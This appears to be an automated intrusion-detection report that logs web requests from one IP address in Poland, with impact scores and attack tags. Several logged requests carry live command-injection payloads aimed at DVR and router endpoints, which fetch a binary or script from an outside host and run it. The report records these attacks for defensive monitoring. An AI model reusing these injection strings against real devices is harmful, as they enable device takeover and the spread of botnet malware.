Summary: 2 incidents discovered from one client

	141.98.11.155 | 2 incidents | impact ∑: 30	attacks only
	Description: A random scan and targeted scan from Poland yesterday. A total of 2 incidents where discovered by phpids detection modules. The incident happened during unusual working hours in Poland, so it might be carried out by a hobbyist on caffeine.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 0 none Poland 141.98.11.155 - - Sun, 15 Dec 2024 00:17:03 +0100 GET / HTTP/1.1 302 387 - - 0 none Poland 141.98.11.155 - - Sun, 15 Dec 2024 04:01:53 +0100 GET / HTTP/1.1 302 387 - - 0 none Poland 141.98.11.155 - - Sun, 15 Dec 2024 07:10:36 +0100 GET /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;wget http://banthis.su/darm7;chmod 777 darm7;./darm7 dvr HTTP/1.1 302 664 http:// /login.rsp curl/7.68.0 15 xss csrf sqli id lfi Poland 141.98.11.155 - - Sun, 15 Dec 2024 14:45:49 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://banthis.su/t|sh;`) HTTP/1.1 302 639 - Go-http-client/1.1 0 none Poland 141.98.11.155 - - Sun, 15 Dec 2024 14:45:49 +0100 \x16\x03\x01 400 392 - - 15 xss csrf sqli id lfi Poland 141.98.11.155 - - Sun, 15 Dec 2024 23:33:39 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget -O- http://banthis.su/t|sh;`) HTTP/1.1 302 639 - Go-http-client/1.1 0 none Poland 141.98.11.155 - - Sun, 15 Dec 2024 23:33:39 +0100 \x16\x03\x01 400 392 - -